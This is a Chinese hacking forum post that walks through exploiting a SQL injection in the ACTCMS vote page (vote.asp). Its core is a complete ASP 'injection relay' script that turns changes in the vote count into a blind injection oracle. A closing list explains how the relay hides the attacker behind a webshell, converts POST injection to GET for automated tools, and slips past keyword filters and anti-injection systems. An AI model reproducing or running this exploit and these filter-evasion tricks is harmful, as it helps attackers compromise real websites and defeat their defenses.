注入中转的高级应用,actcms漏洞以及其他
看到ninty大牛的blog的一篇文章
链接标记http://www.forjj.com/?action=show&id=80
关于actcms漏洞的利用by 3x qq:381862589
转载请注明以上
漏洞文件:
/plus/vote/vote.asp
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then
2 response.write "<script>alert('请选择投票项目。');window.close()</script>"
3 response.end
4 end if
5 for i=1 to request("voted").count
6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))
7 next
8....
9response.Redirect "index.asp?id="&id&""
投票结束回跳转回index.asp这个投票结果页面
如果投票成功票数加1
失败票数不变
如图:
http://www.t00ls.net/images/default/attachimg.gifhttp://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
2009-12-27 13:20
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
本帖隐藏的内容需要回复才可以浏览
我们用注入中转来实现这个注入具体代码如下:
先用寂寞的刺猬大牛的注入中转生成jmget.asp
注入地址:http://localhost/actcms/plus/vote/vote.asp
注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
02JmdcwName=request("jmdcw")
03' 注入中转站 GET 版,BY 寂寞的刺猬
04JmStr="id=1&voted=-1 or 1="&JmdcwName
05JmStr=URLEncoding(JmStr)
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
08testurl=testurl & "?" & JmStr
09JMUrl=JMUrl & "?" & JmStr
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
12JmCok=replace(JmCok,chr(32),"%20")
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
14
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
16
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
18response.write test1&""&test2&""
19
20if test1=test2 then '如前后记录相等,表示失败
21response.write "failed"
22else
23response.write "succeed"
24end if
25
26response.write "by 3x"
27
28
29Function PostData(PostUrl,PostStr,PostCok,PostRef)
30Dim Http
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
32With Http
33
34.Open "GET",PostUrl,False
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
36.SetRequestHeader "Referer",PostRef
37.SetRequestHeader "Cookie",PostCok
38.Send ()
39PostData = .ResponseBody
40End With
41Set Http = Nothing
42PostData =bytes2BSTR(PostData)
43End Function
44
45
46Function bytes2BSTR(vIn)
47Dim strReturn
48Dim I, ThisCharCode, NextCharCode
49strReturn = ""
50For I = 1 To LenB(vIn)
51ThisCharCode = AscB(MidB(vIn, I, 1))
52If ThisCharCode < &H80 Then
53strReturn = strReturn & Chr(ThisCharCode)
54Else
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
57I = I + 1
58End If
59Next
60bytes2BSTR = strReturn
61End Function
62
63Function URLEncoding(vstrin)
64strReturn=""
65Dim i
66For i=1 To Len(vstrin)
67ThisChr=Mid(vstrin,i,1)
68if Abs(Asc(ThisChr))< &HFF Then
69strReturn=strReturn & ThisChr
70Else
71InnerCode=Asc(ThisChr)
72If InnerCode<0 Then
73InnerCode=InnerCode + &H10000
74End If
75Hight1=(InnerCode And &HFF00) \&HFF
76Low1=InnerCode And &HFF
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
78End if
79Next
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
81strReturn=Replace(strReturn,chr(43),"%2B")'JMDCW增加转换+字符
82'strReturn=Replace(strReturn,过滤字符,"转换为字符")'在此增加要过滤的代码
83URLEncoding=strReturn
84End Function
85
86function getSt(body)
87startpot=instr(body,"投票人数:")+len("投票人数:")
88endpot=instr(startpot,body," ")
89getSt=mid(body,startpot,endpot-startpot)
90end function
91%>
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
测试下效果:
投票成功:
http://www.t00ls.net/images/default/attachimg.gifhttp://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
2009-12-27 13:29
投票失败
http://www.t00ls.net/images/default/attachimg.gifhttp://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
2009-12-27 13:29
-------------------------------------------------------------------------------
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
很抱歉。。。只能用单线程工具去注入。。。。。
所以失败。。。不好意思。。。
-------------------------------------------------------------------------------
注入中转的一些其他应用
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
2.post注入转成get型的注入,方便我们使用工具来跑
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
页:
[1]